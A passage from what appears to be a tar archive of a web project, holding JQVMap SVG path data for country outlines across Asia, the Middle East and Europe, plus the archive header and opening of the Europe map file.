.62l-2.62,0.9h-1.55l0.12-5.58L630.19,211.84L630.19,211.84z","name":"Tajikistan"},"kg":{"path":"M636.81,199.21l-0.31,2.53l0.25,1.56l8.7,2.92l-7.64,3.08l-0.87-0.72l-1.65,1.06l0.08,0.58l0.88,0.4l5.36,0.14l2.72-0.82l3.49-4.4l4.37,0.76l5.27-7.3l-14.1-1.92l-1.95,4.73l-2.46-2.64L636.81,199.21L636.81,199.21z","name":"Kyrgyz Republic"},"af":{"path":"M614.12,227.05l1.59,12.46l3.96,0.87l0.37,2.24l-2.84,2.37l5.29,4.27l10.28-3.7l0.82-4.38l6.47-4.04l2.48-9.36l1.85-1.99l-1.92-3.34l6.26-3.87l-0.8-1.12l-2.89,0.18l-0.26,2.66l-3.88-0.04l-0.07-3.55l-1.25-1.49l-2.1,1.91l0.06,1.75l-3.17,1.2l-5.85-0.37l-7.6,7.96L614.12,227.05L614.12,227.05z","name":"Afghanistan"},"pk":{"path":"M623.13,249.84l2.6,3.86l-0.25,1.99l-3.46,1.37l-0.25,3.24h3.96l1.36-1.12h7.54l6.8,5.98l0.87-2.87h5.07l0.12-3.61l-5.19-4.98l1.11-2.74l5.32-0.37l7.17-14.95l-3.96-3.11l-1.48-5.23l9.64-0.87l-5.69-8.1l-3.03-0.82l-1.24,1.5l-0.93,0.07l-5.69,3.61l1.86,3.12l-2.1,2.24l-2.6,9.59l-6.43,4.11l-0.87,4.49L623.13,249.84L623.13,249.84z","name":"Pakistan"},"in":{"path":"M670.98,313.01l4.58-2.24l2.72-9.84l-0.12-12.08l15.58-16.82v-3.99l3.21-1.25l-0.12-4.61l-3.46-6.73l1.98-3.61l4.33,3.99l5.56,0.25v2.24l-1.73,1.87l0.37,1l2.97,0.12l0.62,3.36h0.87l2.23-3.99l1.11-10.46l3.71-2.62l0.12-3.61l-1.48-2.87l-2.35-0.12l-9.2,6.08l0.58,3.91l-6.46-0.02l-2.28-2.79l-1.24,0.16l0.42,3.88l-13.97-1l-8.66-3.86l-0.46-4.75l-5.77-3.58l-0.07-7.37l-3.96-4.53l-9.1,0.87l0.99,3.96l4.46,3.61l-7.71,15.78l-5.16,0.39l-0.85,1.9l5.08,4.7l-0.25,4.75l-5.19-0.08l-0.56,2.36l4.31-0.19l0.12,1.87l-3.09,1.62l1.98,3.74l3.83,1.25l2.35-1.74l1.11-3.11l1.36-0.62l1.61,1.62l-0.49,3.99l-1.11,1.87l0.25,3.24L670.98,313.01L670.98,313.01z","name":"India"},"np":{"path":"M671.19,242.56l0.46,4.27l8.08,3.66l12.95,0.96l-0.49-3.13l-8.65-2.38l-7.34-4.37L671.19,242.56L671.19,242.56z","name":"Nepal"},"bt":{"path":"M695.4,248.08l1.55,2.12l5.24,0.04l-0.53-2.9L695.4,248.08L695.4,248.08z","name":"Bhutan"},"bd":{"path":"M695.57,253.11l-1.31,2.37l3.4,6.46l0.1,5.04l0.62,1.35l3.99,0.07l2.26-2.17l1.64,0.99l0.33,3.07l1.31-0.82l0.08-3.92l-1.1-0.13l-0.69-3.33l-2.78-0.1l-0.69-1.85l1.7-2.27l0.03-1.12h-4.94L695.57,253.11L695.57,253.11z","name":"Bangladesh"},"mm":{"path":"M729.44,303.65l-2.77-4.44l2.01-2.82l-1.9-3.49l-1.79-0.34l-0.34-5.86l-2.68-5.19l-0.78,1.24l-1.79,3.04l-2.24,0.34l-1.12-1.47l-0.56-3.95l-1.68-3.16l-6.84-6.45l1.68-1.11l0.31-4.67l2.5-4.2l1.08-10.45l3.62-2.47l0.12-3.81l2.17,0.72l3.42,4.95l-2.54,5.44l1.71,4.27l4.23,1.66l0.77,4.65l5.68,0.88l-1.57,2.71l-7.16,2.82l-0.78,4.62l5.26,6.76l0.22,3.61l-1.23,1.24l0.11,1.13l3.92,5.75l0.11,5.97L729.44,303.65L729.44,303.65z","name":"Myanmar"},"th":{"path":"M730.03,270.47l3.24,4.17v5.07l1.12,0.56l5.15-2.48l1.01,0.34l6.15,7.1l-0.22,4.85l-2.01-0.34l-1.79-1.13l-1.34,0.11l-2.35,3.94l0.45,2.14l1.9,1.01l-0.11,2.37l-1.34,0.68l-4.59-3.16v-2.82l-1.9-0.11l-0.78,1.24l-0.4,12.62l2.97,5.42l5.26,5.07l-0.22,1.47l-2.8-0.11l-2.57-3.83h-2.69l-3.36-2.71l-1.01-2.82l1.45-2.37l0.5-2.14l1.58-2.8l-0.07-6.44l-3.86-5.58l-0.16-0.68l1.25-1.26l-0.29-4.43l-5.14-6.51l0.6-3.75L730.03,270.47L730.03,270.47z","name":"Thailand"},"kh":{"path":"M740.48,299.47l4.09,4.37l7.61-5.64l0.67-8.9l-3.93,2.71l-2.04-1.14l-2.77-0.37l-1.55-1.09l-0.75,0.04l-2.03,3.33l0.33,1.54l2.06,1.15l-0.25,3.13L740.48,299.47L740.48,299.47z","name":"Cambodia"},"la":{"path":"M735.47,262.93l-2.42,1.23l-2.01,5.86l3.36,4.28l-0.56,4.73l0.56,0.23l5.59-2.71l7.5,8.38l-0.18,5.28l1.63,0.88l4.03-3.27l-0.33-2.59l-11.63-11.05l0.11-1.69l1.45-1.01l-1.01-2.82l-4.81-0.79L735.47,262.93L735.47,262.93z","name":"Lao People's Democratic Republic"},"vn":{"path":"M745.06,304.45l1.19,1.87l0.22,2.14l3.13,0.34l3.8-5.07l3.58-1.01l1.9-5.18l-0.89-8.34l-3.69-5.07l-3.89-3.11l-4.95-8.5l3.55-5.94l-5.08-5.83l-4.07-0.18l-3.66,1.97l1.09,4.71l4.88,0.86l1.31,3.63l-1.72,1.12l0.11,0.9l11.45,11.2l0.45,3.29l-0.69,10.4L745.06,304.45L745.06,304.45z","name":"Vietnam"},"ge":{"path":"M555.46,204.16l3.27,4.27l4.08,1.88l2.51-0.01l4.31-1.17l1.08-1.69l-12.75-4.77L555.46,204.16L555.46,204.16z","name":"Georgia"},"am":{"path":"M569.72,209.89l4.8,6.26l-1.41,1.65l-3.4-0.59l-4.22-3.78l0.23-2.48L569.72,209.89L569.72,209.89z","name":"Armenia"},"az":{"path":"M571.41,207.72l-1.01,1.72l4.71,6.18l1.64-0.53l2.7,2.83l1.17-4.96l2.93,0.47l-0.12-1.42l-4.82-4.22l-0.92,2.48L571.41,207.72L571.41,207.72z","name":"Azerbaijan"},"ir":{"path":"M569.65,217.95l-1.22,1.27l0.12,2.01l1.52,2.13l5.39,5.9l-0.82,2.36h-0.94l-0.47,2.36l3.05,3.9l2.81,0.24l5.63,7.79l3.16,0.24l2.46,1.77l0.12,3.54l9.73,5.67h3.63l2.23-1.89l2.81-0.12l1.64,3.78l10.51,1.46l0.31-3.86l3.48-1.26l0.16-1.38l-2.77-3.78l-6.17-4.96l3.24-2.95l-0.23-1.3l-4.06-0.63l-1.72-13.7l-0.2-3.15l-11.01-4.21l-4.88,1.1l-2.73,3.35l-2.42-0.16l-0.7,0.59l-5.39-0.35l-6.8-4.96l-2.53-2.77l-1.16,0.28l-2.09,2.39L569.65,217.95L569.65,217.95z","name":"Iran"},"tr":{"path":"M558.7,209.19l-2.23,2.36l-8.2-0.24l-4.92-2.95l-4.8-0.12l-5.51,3.9l-5.16,0.24l-0.47,2.95h-5.86l-2.34,2.13v1.18l1.41,1.18v1.3l-0.59,1.54l0.59,1.3l1.88-0.94l1.88,2.01l-0.47,1.42l-0.7,0.95l1.05,1.18l5.16,1.06l3.63-1.54v-2.24l1.76,0.35l4.22,2.48l4.57-0.71l1.99-1.89l1.29,0.47v2.13h1.76l1.52-2.95l13.36-1.42l5.83-0.71l-1.54-2.02l-0.03-2.73l1.17-1.4l-4.26-3.42l0.23-2.95h-2.34L558.7,209.19L558.7,209.19M523.02,209.7l-0.16,3.55l3.1-0.95l1.42-0.95l-0.42-1.54l-1.47-1.17L523.02,209.7L523.02,209.7z","name":"Turkey"},"om":{"path":"M598.38,280.84l7.39-4.26l1.31-6.25l-1.62-0.93l0.67-6.7l1.41-0.82l1.51,2.37l8.99,4.7v2.61l-10.89,16.03l-5.01,0.17L598.38,280.84L598.38,280.84z","name":"Oman"},"ae":{"path":"M594.01,264.94l0.87,3.48l9.86,0.87l0.69-7.14l1.9-1.04l0.52-2.61l-3.11,0.87l-3.46,5.23L594.01,264.94L594.01,264.94z","name":"United Arab Emirates"},"qa":{"path":"M592.63,259.02l-0.52,4.01l1.54,1.17l1.4-0.13l0.52-5.05l-1.21-0.87L592.63,259.02L592.63,259.02z","name":"Qatar"},"kw":{"path":"M583.29,247.17l-2.25-1.22l-1.56,1.57l0.17,3.14l3.63,1.39L583.29,247.17L583.29,247.17z","name":"Kuwait"},"sa":{"path":"M584,253.24l7.01,9.77l2.26,1.8l1.01,4.38l10.79,0.85l1.22,0.64l-1.21,5.4l-7.09,4.18l-10.37,3.14l-5.53,5.4l-6.57-3.83l-3.98,3.48L566,279.4l-3.8-1.74l-1.38-2.09v-4.53l-13.83-16.72l-0.52-2.96h3.98l4.84-4.18l0.17-2.09l-1.38-1.39l2.77-2.26l5.88,0.35l10.03,8.36l5.92-0.27l0.38,1.46L584,253.24L584,253.24z","name":"Saudi Arabia"},"sy":{"path":"M546.67,229.13l-0.35,2.54l2.82,1.18l-0.12,7.04l2.82-0.06l2.82-2.13l1.06-0.18l6.4-5.09l1.29-7.39l-12.79,1.3l-1.35,2.96L546.67,229.13L546.67,229.13z","name":"Syrian Arab Republic"},"iq":{"path":"M564.31,225.03l-1.56,7.71l-6.46,5.38l0.41,2.54l6.31,0.43l10.05,8.18l5.62-0.16l0.15-1.89l2.06-2.21l2.88,1.63l0.38-0.36l-5.57-7.41l-2.64-0.16l-3.51-4.51l0.7-3.32l1.07-0.14l0.37-1.47l-4.78-5.03L564.31,225.03L564.31,225.03z","name":"Iraq"},"jo":{"path":"M548.9,240.78l-2.46,8.58l-0.11,1.31h3.87l4.33-3.82l0.11-1.45l-1.77-1.81l3.17-2.63l-0.46-2.44l-0.87,0.2l-2.64,1.89L548.9,240.78L548.9,240.78z","name":"Jordan"},"lb":{"path":"M546.2,232.44l0.06,1.95l-0.82,2.96l2.82,0.24l0.18-4.2L546.2,232.44L546.2,232.44z","name":"Lebanon"},"il":{"path":"M545.32,238.06l-1.58,5.03l2.05,6.03l2.35-8.81v-1.89L545.32,238.06L545.32,238.06z","name":"Israel"},"cy":{"path":"M543.21,229.84l1.23,0.89l-3.81,3.61l-1.82-0.06l-1.35-0.95l0.18-1.77l2.76-0.18L543.21,229.84L543.21,229.84z","name":"Cyprus"},"gb":{"path":"M446.12,149.08l-1.83,2.77l0.73,1.11h4.22v1.85l-1.1,1.48l0.73,3.88l2.38,4.62l1.83,4.25l2.93,1.11l1.28,2.22l-0.18,2.03l-1.83,1.11l-0.18,0.92l1.28,0.74l-1.1,1.48l-2.57,1.11l-4.95-0.55l-7.71,3.51l-2.57-1.29l7.34-4.25l-0.92-0.55l-3.85-0.37l2.38-3.51l0.37-2.96l3.12-0.37l-0.55-5.73l-3.67-0.18l-1.1-1.29l0.18-4.25l-2.2,0.18l2.2-7.39l4.04-2.96L446.12,149.08L446.12,149.08M438.42,161.47l-3.3,0.37l-0.18,2.96l2.2,1.48l2.38-0.55l0.92-1.66L438.42,161.47L438.42,161.47z","name":"United Kingdom"},"ie":{"path":"M439.51,166.55l-0.91,6l-8.07,2.96h-2.57l-1.83-1.29v-1.11l4.04-2.59l-1.1-2.22l0.18-3.14l3.49,0.18l1.6-3.76l-0.21,3.34l2.71,2.15L439.51,166.55L439.51,166.55z","name":"Ireland"},"se":{"path":"M497.72,104.58l1.96,1.81h3.67l2.02,3.88l0.55,6.65l-4.95,3.51v3.51l-3.49,4.81l-2.02,0.18l-2.75,4.62l0.18,4.44l4.77,3.51l-0.37,2.03l-1.83,2.77l-2.75,2.4l0.18,7.95l-4.22,1.48l-1.47,3.14h-2.02l-1.1-5.54l-4.59-7.04l3.77-6.31l0.26-15.59l2.6-1.43l0.63-8.92l7.41-10.61L497.72,104.58L497.72,104.58M498.49,150.17l-2.11,1.67l1.06,2.45l1.87-1.82L498.49,150.17L498.49,150.17z","name":"Sweden"},"fi":{"path":"M506.79,116.94l2.07,0.91l1.28,2.4l-1.28,1.66l-6.42,7.02l-1.1,3.7l1.47,5.36l4.95,3.7l6.6-3.14l5.32-0.74l4.95-7.95l-3.67-8.69l-3.49-8.32l0.55-5.36l-2.2-0.37l-0.57-3.91l-2.96-4.83l-3.28,2.27l-1.29,5.27l-3.48-2.09l-4.84-1.18l-1.08,1.26l1.86,1.68l3.39-0.06l2.73,4.41L506.79,116.94L506.79,116.94z","name":"Finland"},"lv":{"path":"M518.07,151.37l-6.85-1.11l0.15,3.83l6.35,3.88l2.6-0.76l-0.15-2.92L518.07,151.37L518.07,151.37z","name":"Latvia"},"lt":{"path":"M510.81,154.7l-2.15-0.05l-2.95,2.82h-2.5l0.15,3.53l-1.5,2.77l5.4,0.05l1.55-0.2l1.55,1.87l3.55-0.15l3.4-4.33l-0.2-2.57L510.81,154.7L510.81,154.7z","name":"Lithuania"},"by":{"path":"M510.66,166.29l1.5,2.47l-0.6,1.97l0.1,1.56l0.55,1.87l3.1-1.76l3.85,0.1l2.7,1.11h6.85l2-4.79l1.2-1.81v-1.21l-4.3-6.05l-3.8-1.51l-3.1-0.35l-2.7,0.86l0.1,2.72l-3.75,4.74L510.66,166.29L510.66,166.29z","name":"Belarus"},"pl":{"path":"M511.46,174.76l0.85,1.56l0.2,1.66l-0.7,1.61l-1.6,3.08l-1.35,0.61l-1.75-0.76l-1.05,0.05l-2.55,0.96l-2.9-0.86l-4.7-3.33l-4.6-2.47l-1.85-2.82l-0.35-6.65l3.6-3.13l4.7-1.56l1.75-0.2l-0.7,1.41l0.45,0.55l7.91,0.15l1.7-0.05l2.8,4.29l-0.7,1.76l0.3,2.07L511.46,174.76L511.46,174.76z","name":"Poland"},"it":{"path":"M477.56,213.38l-2.65,1.34l0.35,5.17l2.12,0.36l1.59-1.52v-4.9L477.56,213.38L477.56,213.38M472.27,196.98l-0.62,1.57l0.17,1.71l2.39,2.79l3.76-0.13l8.3,9.64l5.18,1.5l3.06,2.89l0.73,6.59l1.64-0.96l1.42-3.59l-0.35-2.58l2.43-0.22l0.35-1.46l-6.85-3.28l-6.5-6.39l-2.59-3.82l-0.63-3.63l3.31-0.79l-0.85-2.39l-2.03-1.71l-1.75-0.08l-2.44,0.67l-2.3,3.22l-1.39,0.92l-2.15-1.32L472.27,196.98L472.27,196.98M492.44,223.02l-1.45-0.78l-4.95,0.78l0.17,1.34l4.45,2.24l0.67,0.73l1.17,0.17L492.44,223.02L492.44,223.02z","name":"Italy"},"fr":{"path":"M477.83,206.96l-1.95,1.96l-0.18,1.78l1.59,0.98l0.62-0.09l0.35-2.59L477.83,206.96L477.83,206.96M460.4,178.7l-2.21,0.54l-4.42,4.81l-1.33,0.09l-1.77-1.25l-1.15,0.27l-0.88,2.76l-6.46,0.18l0.18,1.43l4.42,2.94l5.13,4.1l-0.09,4.9l-2.74,4.81l5.93,2.85l6.02,0.18l1.86-2.14l3.8,0.09l1.06,0.98l3.8-0.27l1.95-2.5l-2.48-2.94l-0.18-1.87l0.53-2.05l-1.24-1.78l-2.12,0.62l-0.27-1.6l4.69-5.17v-3.12l-3.1-1.78l-1.59-0.27L460.4,178.7L460.4,178.7z","name":"France"},"nl":{"path":"M470.09,168.27l-4.53,2.23l0.96,0.87l0.1,2.23l-0.96-0.19l-1.06-1.65l-2.53,4.01l3.89,0.81l1.45,1.53l0.77,0.02l0.51-3.46l2.45-1.03L470.09,168.27L470.09,168.27z","name":"Netherlands"},"be":{"path":"M461.61,176.52l-0.64,1.6l6.88,4.54l1.98,0.47l0.07-2.15l-1.73-1.94h-1.06l-1.45-1.65L461.61,176.52L461.61,176.52z","name":"Belgium"},"de":{"path":"M471.14,167.88l3.57-0.58v-2.52l2.99-0.49l1.64,1.65l1.73,0.19l2.7-1.17l2.41,0.68l2.12,1.84l0.29,6.89l2.12,2.82l-2.79,0.39l-4.63,2.91l0.39,0.97l4.14,3.88l-0.29,1.94l-3.85,1.94l-3.57,0.1l-0.87,1.84h-1.83l-0.87-1.94l-3.18-0.78l-0.1-3.2l-2.7-1.84l0.29-2.33l-1.83-2.52l0.48-3.3l2.5-1.17L471.14,167.88L471.14,167.88z","name":"Germany"},"dk":{"path":"M476.77,151.5l-4.15,4.59l-0.15,2.99l1.89,4.93l2.96-0.56l-0.37-4.03l2.04-2.28l-0.04-1.79l-1.44-3.73L476.77,151.5L476.77,151.5M481.44,159.64l-0.93-0.04l-1.22,1.12l0.15,1.75l2.89,0.08l0.15-1.98L481.44,159.64L481.44,159.64z","name":"Denmark"},"ch":{"path":"M472.91,189.38l-4.36,4.64l0.09,0.47l1.79-0.56l1.61,2.24l2.72-0.96l1.88,1.46l0.77-0.44l2.32-3.64l-0.59-0.56l-2.29-0.06l-1.11-2.27L472.91,189.38L472.91,189.38z","name":"Switzerland"},"cz":{"path":"M488.43,184.87h2.97h1.46l2.37,1.69l4.39-3.65l-4.26-3.04l-4.22-2.04l-2.89,0.52l-3.92,2.52L488.43,184.87L488.43,184.87z","name":"Czech Republic"},"sk":{"path":"M495.84,187.13l0.69,0.61l0.09,1.04l7.63-0.17l5.64-2.43l-0.09-2.47l-1.08,0.48l-1.55-0.83l-0.95-0.04l-2.5,1l-3.4-0.82L495.84,187.13L495.84,187.13z","name":"Slovakia"},"at":{"path":"M480.63,190.12l-0.65,1.35l0.56,0.96l2.33-0.48h1.98l2.15,1.82l4.57-0.83l3.36-2l0.86-1.35l-0.13-1.74l-3.02-2.26l-4.05,0.04l-0.34,2.3l-4.26,2.08L480.63,190.12L480.63,190.12z","name":"Austria"},"hu":{"path":"M496.74,189.6l-1.16,1.82l0.09,2.78l1.85,0.95l5.69,0.17l7.93-6.68l0.04-1.48l-0.86-0.43l-5.73,2.6L496.74,189.6L496.74,189.6z","name":"Hungary"},"si":{"path":"M494.8,191.99l-2.54,1.52l-4.74,1.04l0.95,2.74l3.32,0.04l3.06-2.56L494.8,191.99L494.8,191.99z","name":"Slovenia"},"hr":{"path":"M495.62,195.16l-3.53,2.91h-3.58l-0.43,2.52l1.64,0.43l0.82-1.22l1.29,1.13l1.03,3.6l7.07,3.3l0.7-0.8l-7.17-7.4l0.73-1.35l6.81-0.26l0.69-2.17l-4.44,0.13L495.62,195.16L495.62,195.16z","name":"Croatia"},"ba":{"path":"M494.8,198.94l-0.37,0.61l6.71,6.92l2.46-3.62l-0.09-1.43l-2.15-2.61L494.8,198.94L494.8,198.94z","name":"Bosnia and Herzegovina"},"mt":{"path":"M492.61,230.47l-1.67,0.34l0.06,1.85l1.5,0.5l0.67-0.56L492.61,230.47L492.61,230.47z","name":"Malta"},"ua":{"path":"M515.57,173.15l-2.9,1.63l0.72,3.08l-2.68,5.65l0.02,2.49l1.26,0.8l8.08,0.4l2.26-1.87l2.42,0.81l3.47,4.63l-2.54,4.56l3.02,0.88l3.95-4.55l2.26,0.41l2.1,1.46l-1.85,2.44l2.5,3.9h2.66l1.37-2.6l2.82-0.57l0.08-2.11l-5.24-0.81l0.16-2.27h5.08l5.48-4.39l2.42-2.11l0.4-6.66l-10.8-0.97l-4.43-6.25l-3.06-1.05l-3.71,0.16l-1.67,4.13l-7.6,0.1l-2.47-1.14L515.57,173.15L515.57,173.15z","name":"Ukraine"},"md":{"path":"M520.75,187.71l3.1,4.77l-0.26,2.7l1.11,0.05l2.63-4.45l-3.16-3.92l-1.79-0.74L520.75,187.71L520.75,187.71z","name":"Moldova"},"ro":{"path":"M512.18,187.6l-0.26,1.48l-5.79,4.82l4.84,7.1l3.1,2.17h5.58l1.84-1.54l2.47-0.32l1.84,1.11l3.26-3.71l-0.63-1.86l-3.31-0.85l-2.26-0.11l0.11-3.18l-3-4.72L512.18,187.6L512.18,187.6z","name":"Romania"},"rs":{"path":"M505.55,194.54l-2.05,1.54h-1l-0.68,2.12l2.42,2.81l0.16,2.23l-3,4.24l0.42,1.27l1.74,0.32l1.37-1.86l0.74-0.05l1.26,1.22l3.84-1.17l-0.32-5.46L505.55,194.54L505.55,194.54z","name":"Serbia"},"bg":{"path":"M511.44,202.39l0.16,4.98l1.68,3.5l6.31,0.11l2.84-2.01l2.79-1.11l-0.68-3.18l0.63-1.7l-1.42-0.74l-1.95,0.16l-1.53,1.54l-6.42,0.05L511.44,202.39L511.44,202.39z","name":"Bulgaria"},"al":{"path":"M504.02,209.76v4.61l1.32,2.49l0.95-0.11l1.63-2.97l-0.95-1.33l-0.37-3.29l-1.26-1.17L504.02,209.76L504.02,209.76z","name":"Albania"},"mk":{"path":"M510.92,208.01l-3.37,1.11l0.16,2.86l0.79,1.01l4-1.86L510.92,208.01L510.92,208.01z","name":"Macedonia"},"gr":{"path":"M506.71,217.6l-0.11,1.33l4.63,2.33l2.21,0.85l-1.16,1.22l-2.58,0.26l-0.37,1.17l0.89,2.01l2.89,1.54l1.26,0.11l0.16-3.45l1.89-2.28l-5.16-6.1l0.68-2.07l1.21-0.05l1.84,1.48l1.16-0.58l0.37-2.07l5.42,0.05l0.21-3.18l-2.26,1.59l-6.63-0.16l-4.31,2.23L506.71,217.6L506.71,217.6M516.76,230.59l1.63,0.05l0.68,1.01h2.37l1.58-0.58l0.53,0.64l-1.05,1.38l-4.63,0.16l-0.84-1.11l-0.89-0.53L516.76,230.59L516.76,230.59z","name":"Greece"}}});
js/jqvmap/maps/jquery.vmap.europe.js000060400000276565150710775200013560 0ustar00/** Add Europe Map Data Points */
jQuery.fn.vectorMap('addMap', 'europe_en', {"width":680,"height":520,"pathes":{"gl":{"path":"M13.47,93.57C12.35,92.52 12.34,90 10.44,89.14 10.62,88.14 13.84,87.66 11.35,86.39 10.05,87.17 9.25,86.92 8.71,87.58 6.27,88.12 8.6,85.09 6.17,85.17 5.23,84.47 10.33,84.75 9.98,83.14 11.32,83.4 14.67,82.04 12.37,81.03 11.23,81.19 6.54,82.06 10.06,81.32 13.04,80.64 9.92,76.6 8.71,79.05 9.24,77.06 11.03,78.05 12.88,77.78 14.68,74.59 9.38,77.17 8.23,75.54 7.26,73.61 12.43,77.09 11.48,74.6c2.44,-0.76 -0.97,1.23 1.21,1.43 1,0.07 3.06,0.24 1.26,-0.8C15.39,74.51 14.27,73.05 14.04,72.76 16.26,70.08 9.73,69.39 11.65,72.54 9.43,70.77 7.4,69.72 5.62,68.37 4.84,67.27 3.62,65.14 5.75,64.54 6.27,63.17 3.83,63.23 6.08,62.64 8.52,60.62 3.8,58.38 3.79,56.87 4.78,56.07 3.39,53.57 4.92,55.82c2,1.48 -1.5,0.05 -0.41,1.67 0.7,1.18 4.94,4.58 4.09,1.22C7.96,57.37 6.11,57.21 8.09,56.47 5.75,56.14 4.83,52.58 8.11,53.61c1.58,0.65 2.17,-1 2.13,-1.24 1.86,-0.56 0.99,-3.89 0.14,-5.02 -2.29,-0.92 1.59,-2.34 -1.23,-2.91 0.6,-3.73 4.98,-2.29 7.51,-3.37 2.78,-1.33 -1.33,-1.73 -1.69,-3.06 -3.07,-1.99 2.8,-0.5 3.28,-2.76 2.87,0.22 -2.67,-2.82 -1.49,-3.84 1.34,0.59 4.57,3.1 4.27,-0.2C20.58,29.48 17.09,31.14 17.33,29.6c1.78,1.02 0.79,-3.69 2.33,-1.12 1.76,1.21 4.05,-0.81 1.11,-1.21 -0.72,-0.16 1.96,-1.91 2.18,-0.31 2.04,0.89 2.39,3.26 4.86,3.29 1.12,-1.58 -2.89,-2.38 -0.16,-2.31 1.35,-1.83 -5.03,-0.94 -1.14,-2.29 1.39,-1.55 1.81,4.29 2.64,1.36 -0.57,-1.39 -0.41,-4.67 1.53,-2.59 0.16,2.02 -2.74,3.73 -1.03,6.23 2.7,1.13 0.11,-4.85 3.69,-4.25 2.74,-0.7 0.37,-3.01 -1.39,-3.16 0.93,-1.59 -0.48,-0.52 -0.91,-1.1 -1.26,0.42 -2.63,-0.27 -1.15,-1.19 -0.81,-1.9 -3.85,0.74 -5.54,0.53 -3.44,0.64 1.14,-2.76 2.36,-3.3 2.28,-0.77 4.66,2.97 6.55,0.04C34.81,17.14 33.04,17.79 32.17,17.97 30.61,18.81 30.38,17.32 30.54,16.77 29.14,17.79 26.4,16.27 29.42,16.34 29.89,14.12 31.85,14.39 33.58,13.44c0.27,-2.21 -3.96,0.03 -1.92,-1.94 2.34,1.37 5.29,0.49 7.37,1.6 0.49,1.25 2.93,3.07 2.07,0.58C40.16,10.86 37.07,10.79 34.89,10.94 32.01,10.71 38.39,8.92 36.45,6.69 35.49,6.8 33.31,6.65 34.75,5.53c1.74,0.57 3.45,1.31 2.13,3.63 0.97,-0.77 3.6,0.14 4.92,-0.01C42.62,6.51 37.36,8.29 39.31,5.97 39.94,4.69 35.39,5.71 36.07,3.41c2.18,-0.52 6.21,0.1 8.48,1.64 1.78,-0.72 2.84,-0.23 4.07,0.55 1.73,-0.23 3.46,0.06 2.78,2.25C52.75,9.86 54.51,8.35 52.72,6.73 52.71,4.07 54.56,10.07 55.78,8.98 56.01,5.87 52.57,4.02 49.87,3.57 48.45,2.66 43.96,4.29 45.02,2.48 44.96,1.07 43.75,0.16 45.71,1.28 47.56,3.52 50.55,-0.47 53.01,0.78 55.13,-0.05 52.02,4.62 54.57,4.07 55.09,3.62 56.43,7.62 57.26,5.53 57.36,3.28 54.5,4.61 54.71,2.93 54.66,0.68 56.28,0.89 57.93,0.78 59.1,1.36 57.92,5.72 60.98,5.64 61.74,4.33 57.63,0.17 61.09,2.11 61.53,3.09 65.18,3.43 63.42,2.17 61.88,1.53 60.02,-0.12 62.69,1.24c1.18,0.74 1.27,-0.27 2.37,-0.09 0.49,-0.8 2.06,-0.17 3.01,-0.37 45.89,0 91.78,0 137.67,0 0.61,1.21 1.15,3.04 -0.24,1.09 -2.48,-0.7 1.23,2.94 1.58,3.94 1.63,2.86 -1.86,0.67 -3.36,1.88 1.28,-1.72 -2.26,-4.24 -1.57,-1.36 0.03,2.25 1.64,3.73 3.68,2.39 1.03,0.77 -1.42,2.8 -1.62,3.53 -3.09,0.12 0.02,1.62 1.04,2.22 0.66,2.09 4.04,0.64 2.3,3.22 -1.05,1.95 -3.92,1.82 -3.21,-0.86 0.14,-3.28 -4.67,-1.36 -4.04,-5.02 -2.02,-0.71 -0.18,3.84 -2.96,2.48 -0.73,0.74 0.41,1.75 -1.42,1.32 -2.61,0.54 1.71,4.84 -0.38,4.25 -1.39,0.66 -1.21,4.72 0.33,2.08 -0.04,-1.13 1.18,-4.09 2.39,-2.05 0.43,1.69 3.14,3.16 0.34,3.59 0.86,3.33 -3.29,2.48 -4.22,0.42 -0.56,1.42 -4.92,2.25 -4.96,-1.01 -1.09,-1.09 -0.61,-6.28 0.38,-2.79 -0.38,2.15 4.88,3.94 3.74,1.34 -3.75,0.99 -2.13,-7.24 -6.06,-4.79 -0.93,1.3 -1.66,1.94 -1.57,-0.09 0.87,-1.48 -0.65,-6.36 -1.62,-2.76 -0.29,1.71 1.87,5.7 -1.38,4.23 -1.61,0.79 -3.43,1.95 -3.68,-0.56 -1.68,-1 0.16,-4.48 -2.68,-3.04 -0.67,1.11 2.68,6.25 0.02,3.71 -0.94,-1.89 -3.02,-1.6 -4.56,-0.77 1.83,0.09 2.37,0.85 0.57,2.18 0.59,2.05 2.81,-2.2 3.66,0.12 1.38,0.4 3.13,-0.11 3.81,2.17 2.43,3.24 -2.95,0.83 -4.01,1.04 -0.05,-1.82 -4.79,-3.3 -3.23,-1.13 1.49,0.95 1.71,0.82 0.15,1.51 -1.1,2.37 1.53,3.48 2.9,1.87 3.12,-1.53 5.02,4.79 1.15,3.53 -2.62,-0.97 -1.48,2.05 -3.89,2.7 -0.43,2.18 2.56,-0.04 2.88,-0.79 2.47,-0.74 2.4,2.46 3.26,3.28 -2.41,2.08 2.06,1.61 0.72,3.86 0.87,0.94 2.37,2.01 0.05,2.28 -2.05,0.35 -0.86,2.02 0.59,1.45 -1.67,-0.11 -1.69,1.85 -1.36,2.27 -1.73,0.52 -2.08,4.37 -0.55,3.78 -0.25,-2.23 4.33,-2.23 2.08,-0.24 -2.82,-0.46 -0.7,2.99 -3.43,2.2 2.08,0.81 0.22,1 -1.03,1.19 -1.32,0.16 3.49,1.1 1.39,1.26 -1.9,0.07 -0.29,1.99 -2.31,1.42 1.18,0.54 1.34,1.84 1.35,2.8 -2.18,2.04 -4.44,-0.74 -2.18,-2.64 1.63,-0.69 0.76,-4.19 -0.17,-2.1 -0.64,2.71 -4.66,4.66 -4.98,0.68 -0.13,-3.43 1.98,-6.57 2.12,-10.01 -0.26,-1.47 -2.38,-1.12 -1.92,-3.26 0.2,-2.67 -2.43,-4.09 -3.97,-4.66 0.54,-2.82 0.04,-5.39 -1.15,-7.72 0.49,-2.96 -3.2,-2.36 -2.3,0.29 0.39,1.99 2.16,3.98 1.82,5.79 -0.98,-1.18 -4.72,-2.37 -4.53,0.09 1.53,0.74 4.96,0.32 3.23,3.09 -0.36,0.92 2.65,-0.97 2.92,1.14 1.39,1.16 4.2,3.13 1.09,4.33 -2.3,0.81 -7.78,0.76 -7.23,-2.79 1.56,-1.72 -2.19,-2.27 -1.32,0.16 -1.72,-2.55 -3.53,-0.09 -1.9,1.66 -2.13,2.01 -4.41,0.62 -6.81,0.57 -2.19,2.71 4.76,1.16 2.08,3.05 0.58,1.9 4.08,1.91 5.81,2.83 1.96,1.43 -0.47,2.15 -1.35,0.46 -1.82,-1.08 -3.45,2.21 -4.74,-0.62 -0.64,-2.28 -4.68,1.1 -2.47,0.81 1.98,0.42 2.27,5.38 5.07,2.98 1.84,-3.35 3.57,2.14 6.26,0.44 1.29,-0.17 2.13,-0.02 0.67,0.65 1.09,1.24 2.33,0.17 2.6,1.96 1.19,2.8 